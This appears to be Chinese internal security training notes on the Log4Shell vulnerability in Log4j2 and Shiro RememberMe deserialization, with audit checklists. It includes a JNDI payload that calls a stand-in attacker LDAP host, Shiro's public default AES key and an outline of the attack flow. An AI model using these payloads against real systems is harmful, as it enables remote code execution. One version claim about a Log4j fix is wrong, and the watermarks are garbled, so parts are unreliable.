Log4j2

介绍

Log4j2 是 Apache 软件基金会下的一个流行的 Java 日志框架，它是 Log4j 1.x 的重大升级版本。

主要特点

1. **性能提升**：
   - 异步日志记录性能显著优于 Log4j 1.x 和 Logback
   - 在多线程环境下表现优异
2. **插件式架构**：
   - 通过插件系统轻松扩展功能
   - 可以自定义 Appender、Layout、Filter 等组件
3. **配置灵活**：
   - 支持 XML、JSON、YAML 和 properties 格式的配置文件
   - 支持动态配置重载
4. **高级过滤**：
   - 提供基于上下文数据、标记等的复杂过滤功能
5. **支持 Lambda 表达式**：
   - 在 Java 8+ 中支持延迟日志消息评估

核心组件

1. **Logger**：日志记录器，应用程序通过它记录日志
2. **Appender**：定义日志输出目的地（控制台、文件、数据库等）
3. **Layout**：定义日志输出格式
4. **Filter**：提供更细粒度的日志过滤
5. **Configuration**：管理日志系统的配置

基本使用示例

```
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class MyApp {
    private static final Logger logger = LogManager.getLogger(MyApp.class);

    public static void main(String[] args) {
        logger.trace("Trace level message");
        logger.debug("Debug level message");
        logger.info("Info level message");
        logger.warn("Warn level message");
        logger.error("Error level message");
        logger.fatal("Fatal level message");
    }
```

柔狗安全内部培训资料

```
}

漏洞触发方法
            logger.info("Login attempt by user: {}", username);
            logger.warn("Login attempt by user: {}", username);
            logger.error("Login attempt by user: {}", username);
            logger.fatal("Login attempt by user: {}", username);


默认配置的情况下
            logger.error("Login attempt by user: {}", username);
            logger.fatal("Login attempt by user: {}", username);
            会记入日志触发lookup
```

异步日志

Log4j2 提供了两种异步日志实现：

1. **AsyncAppender**：使用 ArrayBlockingQueue
2. **AsyncLogger**：使用 LMAX Disruptor 技术，性能更高

远程代码执行 (CVE-2021-44228)

2021 年 12 月 9 日，发现了一个严重的远程代码执行漏洞（CVE-2021-44228），该漏洞允许攻击者通过特制的日志消息在目标系统上执行任意代码

漏洞版本

Log4Shell 漏洞主要影响 **Apache Log4j2 的 2.0-beta9 到 2.14.1 版本。**

- **受影响版本**：
  - 2.0-beta9 <= Apache Log4j2 <= 2.14.1
- **修复版本**：
  - **Log4j 2.15.0**：这是第一个修复了 JNDI Lookup 漏洞的版本。它默认禁用 JNDI Messages Lookup，并对所有 JNDI Lookup 方法强制要求 `com.sun.jndi.rmi.object.trustURLCodebase` 和 `com.sun.jndi.ldap.object.trustURLCodebase` 属性为 `false`。
  - **Log4j 2.16.0**：进一步加强了修复，完全移除了对消息查找的支持。
  - **Log4j 2.17.0**：修复了 2.15.0 和 2.16.0 版本中一个与 JDBC Appender 相关的新漏洞 (CVE-2021-44832)，并默认禁用 JNDI 功能。

核心建议是升级到 Log4j 2.17.1 或更高版本，因为后续的 2.15.0 和 2.16.0 版本也陆续被发现一些小问题并得到了修复。

漏洞原理

Log4Shell 漏洞的原理可以概括为以下几步：

1. **恶意负载注入**：攻击者在可以被 Log4j2 记录的任何地方（例如，HTTP 请求头中的 `User-Agent`、`Referer`，或者表单提交的参数，甚至是一些非标准协议中的数据）插入一个包含 JNDI Lookup 语法的恶意字符串，例如：

柴狗安全内部培训资料

```
${jndi:ldap://evil-ldap-server.com/Exploit}
```

2. **Log4j2 解析**：当 Log4j2 记录这个字符串时，它会识别到 `${jndi:...}` 语法，并尝试使用 JNDI 去解析这个外部资源。
3. **LDAP 查询与远程类加载**：Log4j2 会向 `evil-ldap-server.com` 发起一个 LDAP 请求。恶意的 LDAP 服务器会返回一个包含攻击者控制的远程 Java 类（例如 `Exploit.class`）的引用。
4. **Java 代码下载与执行**：当受害服务器收到 LDAP 响应并尝试解析其中的对象时，Java 虚拟机（JVM）会根据 LDAP 响应中的 URL 去下载并执行攻击者指定的远程 Java 类。由于这个过程绕过了正常的安全检查，攻击者代码得以在目标服务器上执行，从而实现远程代码执行。

核心问题在于：

- Log4j2 默认开启了 JNDI Lookup 功能。
- JNDI Lookup 在解析 LDAP URL 时，**信任并自动加载**了远程代码。
- 攻击者可以控制日志内容，从而控制 JNDI Lookup 的目标。

漏洞解析方法和差异

出现漏洞的方法是logger.error()和logger.info()

logger.error()用于记录报错信息

logger.info()用于记录常规信息

有时候可能会遇到符合漏洞版本logger.info()无法jndi注入的问题

在 Log4j2 受影响版本（2.0-beta9 到 2.14.1）中，**无论你使用 `INFO` 还是 `ERROR` 级别**，只要日志消息中包含可被解析的 JNDI 注入字符串（如 `${jndi:ldap://attacker.com/a}`），它就会尝试进行解析并触发漏洞

如果Log4j2 配置将日志级别阈值设置为 `ERROR`（例如 `Root level="ERROR"`），那么所有 `INFO` 级别的日志（包括包含恶意注入字符串的 `INFO` 日志）都将被**过滤掉，不会写入日志，也不会触发漏洞。**

而 `ERROR` 级别的日志则会通过过滤，被写入日志并触发漏洞

实战案例

Tmall

流程

```
1、查找组件依赖是否引用
2、查看组件版本是否符合漏洞版本
3、搜索关键词info、error、warn、fatal，是否存在 "xxxxx{}",xxx写法，xxx可控情况
4、info、warn关注日志级别是否会写入日志，触发lookup
```

shiro

介绍

Shiro是一个功能强大且易于使用的Java安全框架，用于身份验证、授权、加密和会话管理等安全领域。它提供了一个全面的安全解决方案，可以集成到任何Java应用程序中，包括Web应用程序、RESTful服务、移动应用程序等。

柔狗安全内部培训资料

以下是Shiro的一些主要功能和特点：

1. **身份验证（Authentication）**：Shiro可以处理用户的身份验证，支持多种认证方式，包括用户名密码认证、基于令牌的认证、LDAP认证等。
2. **授权（Authorization）**：Shiro提供了灵活的授权机制，可以通过简单的配置来定义用户对资源的访问权限，支持角色（Role）和权限（Permission）的管理。
3. **加密（Cryptography）**：Shiro提供了各种常见的加密算法和工具类，用于保护敏感数据的安全性，如密码加密、数据加密等。
4. **会话管理（Session Management）**：Shiro可以管理用户会话，包括Session的创建、销毁、过期处理等，同时支持分布式环境下的会话共享和集中管理。
5. **Web集成**：Shiro提供了与各种Web框架的集成支持，包括Spring MVC、Struts、Servlet等，可以轻松地将Shiro集成到Web应用程序中进行安全控制。
6. **易于扩展**：Shiro的设计模式和API都非常灵活，易于扩展和定制，开发人员可以根据实际需求进行定制化开发，满足复杂的安全需求。

总的来说，Shiro是一个功能丰富、易于使用且灵活扩展的安全框架，为Java应用程序提供了全面的安全保护，帮助开发人员构建安全可靠的应用程序。

Apache Shiro 反序列化漏洞，尤其是著名的 "RememberMe" 反序列化漏洞 (CVE-2016-4437)，是一个影响范围广泛且危害严重的漏洞。它允许未经身份验证的远程攻击者在目标系统上执行任意代码。

原始数据流：**name=caigo,role=admin**

序列化字符串 ——> AES 加密 ——>base64加密

base64解密 ——>AES解密——>反序列化

Apache Shiro 反序列化漏洞原理

1. 核心机制：RememberMe 功能与序列化/反序列化

Apache Shiro 是一个功能强大的 Java 安全框架，用于身份验证、授权、密码学和会话管理等。其中的 **RememberMe (记住我)** 功能允许用户在关闭浏览器后再次访问应用时，无需重新登录。

- 当用户选择 "RememberMe" 并成功登录后，Shiro 会生成一个包含用户身份信息（如 `PrincipalCollection`）的对象。
- 这个对象会被 **序列化** 成字节流。
- 这个字节流会使用一个 **预设的密钥** 进行 AES 加密。
- 加密后的数据被进行 **Base64 编码**，然后作为 `rememberMe` cookie 的值发送到用户的浏览器。

当用户再次访问应用时，浏览器会将 `rememberMe` cookie 发送回服务器：

- 服务器接收到 `rememberMe` cookie。
- 对 cookie 值进行 **Base64 解码**。
- 使用相同的预设密钥对解码后的数据进行 **AES 解密**。
- 对解密后的字节流进行 **反序列化**，还原出用户身份信息对象。

美亚安全内部培训资料

2. 漏洞产生的原因：默认密钥和不安全的序列化

漏洞的关键点在于：

- **默认密钥：** 在 Apache Shiro 1.2.4 版本及以前，Shiro 默认使用一个**硬编码的、公开的 AES 加密密钥。**这个密钥是 `kPH+bIxk5D2deZiIxcaaaA==` (Base64 编码的 AES 密钥)。
- **Java 反序列化机制的危险性：** Java 的反序列化过程本身就存在安全风险。当 Java 应用程序反序列化一个对象时，如果该对象是一个恶意构造的特殊类（例如利用 `Apache Commons Collections` 等库中的 Gadget 链），并且在反序列化过程中触发了其 `readObject()` 或其他特定方法，就可能导致任意代码执行。

3. 攻击流程

攻击者利用这个漏洞的步骤通常如下：

1. **获取默认密钥：** 攻击者知道 Shiro 使用的默认 `rememberMe` 加密密钥。
2. **构造恶意序列化数据：** 攻击者使用 Java 反序列化工具（如 Ysoserial）结合已知的 `gadget` 链（如 `Commons Collections`、`Commons Beanutils`、`Javassist` 等）构造一个恶意的序列化字节流，该字节流在反序列化时能执行任意命令（例如，执行 `calc.exe`、`touch /tmp/pwned`、或者反弹 shell）。
3. **使用默认密钥加密恶意数据：** 攻击者使用 Shiro 的默认密钥对构造的恶意序列化字节流进行 AES 加密。
4. **Base64 编码并注入 Cookie：** 攻击者将加密后的字节流进行 Base64 编码，并将其作为 `rememberMe` cookie 的值发送给受害者的 Shiro 应用程序。
5. **服务器端反序列化并触发：**
    - Shiro 应用程序收到包含恶意 `rememberMe` cookie 的请求。
    - 对 cookie 值进行 Base64 解码和 AES 解密。
    - 在反序列化解密后的数据时，会执行攻击者预设的恶意代码，从而实现远程代码执行。

加密方式与版本差异

Apache Shiro 在不同版本中对 "RememberMe" 功能的加密方式和密钥管理有所改进。

1. 默认密钥漏洞 (CVE-2016-4437)

- **受影响版本：** Apache Shiro **1.2.4 及以前**的版本。
- **加密方式：** 默认使用 AES 加密，密钥是硬编码的 `kPH+bIxk5D2deZiIxcaaaA==`。
- **漏洞状态：** 由于默认密钥的公开性，这些版本存在严重的反序列化 RCE 风险。

2. 漏洞修复与密钥配置要求

- **Shiro 1.2.5 及更高版本 (直到 Shiro 2.x 之前的版本)**
    - 从 Shiro 1.2.5 版本开始，Shiro 官方在安全公告中强调，**不再提供默认密钥。**
    - **要求用户在 `shiro.ini` 或代码中显式配置 `rememberMe` 功能的加密密钥。**如果用户不配置密钥而继续使用 `rememberMe` 功能，Shiro 会在启动时发出警告，并**生成一个随机密钥**用于加密。这个随机密钥虽然是临时的，但至少避免了公开的默认密钥问题。

柔知安全内部培训资料

- 虽然密钥不再是公开的，但反序列化漏洞的风险依然存在，因为它依赖于 Java 反序列化本身的缺陷。如果攻击者能够通过其他方式获取或猜测到密钥（比如应用程序日志中泄露，或者密钥强度不足），或者存在其他绕过密钥验证的方式，依然可能被利用。
- **防御措施：** 升级到 Shiro 1.2.5 及以上，并**务必配置一个强大、随机且保密的 `rememberMe` 密钥。**密钥通常在 `shiro.ini` 中配置：

  Ini, TOML

  ```
  securityManager.rememberMeManager.cipherKey =
  base64:YourStrongRandomBase64EncodedKeyHere
  ```

  或者通过编程方式设置。

3. Shiro 1.4.x 及之后

- Shiro 在后续版本中也持续对加密机制进行了一些增强和改进，例如对 AES/CBC 模式使用随机 IV (Initialization Vector) 等，以增加每次加密结果的随机性，但核心的密钥管理和反序列化风险仍需关注。
- Shiro 还会不断修复一些特定的反序列化 Gadget 链的风险。

4. Shiro 2.x

- Shiro 2.x 引入了更多现代化特性和改进，包括对 Jakarta EE 的支持等。安全方面也会有持续的更新和优化。

Shiro RememberMe 加密模式的变化时间点

- **Shiro 1.4.1 及以前版本：**
  - `RememberMe` 功能默认使用 **AES/CBC (Cipher Block Chaining)** 模式。
  - 虽然 Shiro 1.2.5 已经移除了硬编码的默认密钥，但 AES/CBC 模式在特定条件下仍然容易受到**填充谕言攻击 (Padding Oracle Attack)**，这就是 **CVE-2019-12422 (SHIRO-721)** 漏洞。这种攻击无需知道密钥，通过观察解密失败时的不同响应（比如时间差或错误类型）就能逐步解密数据甚至构造恶意密文。
- **Shiro 1.4.2 及更高版本：**
  - 为了彻底解决 SHIRO-721 漏洞中的填充谕言攻击，Shiro 将 `RememberMe` 功能的默认加密模式改为了 **AES/GCM (Galois/Counter Mode)。**
  - **GCM 模式是认证加密 (Authenticated Encryption) 的一种**，它同时提供数据的**机密性（加密）*和*完整性与认证。**这意味着，如果加密数据在传输过程中被篡改，GCM 模式能够立即检测到这种篡改，并拒绝解密，且不会泄露任何关于填充的信息，从而从根本上防御了填充谕言攻击。

柔性安全内部培训资料

流程

```
1、判断依赖引用&版本
2、ASE密钥来源：setCipherKey(
    1、随机数生成
        admin
        时间戳
    2、硬编码在代码或配置文件
        拿到aes加密key
3、判断加密方式，AES CBC or GCM
4、寻找利用链
```

柔狗安全内部培训资料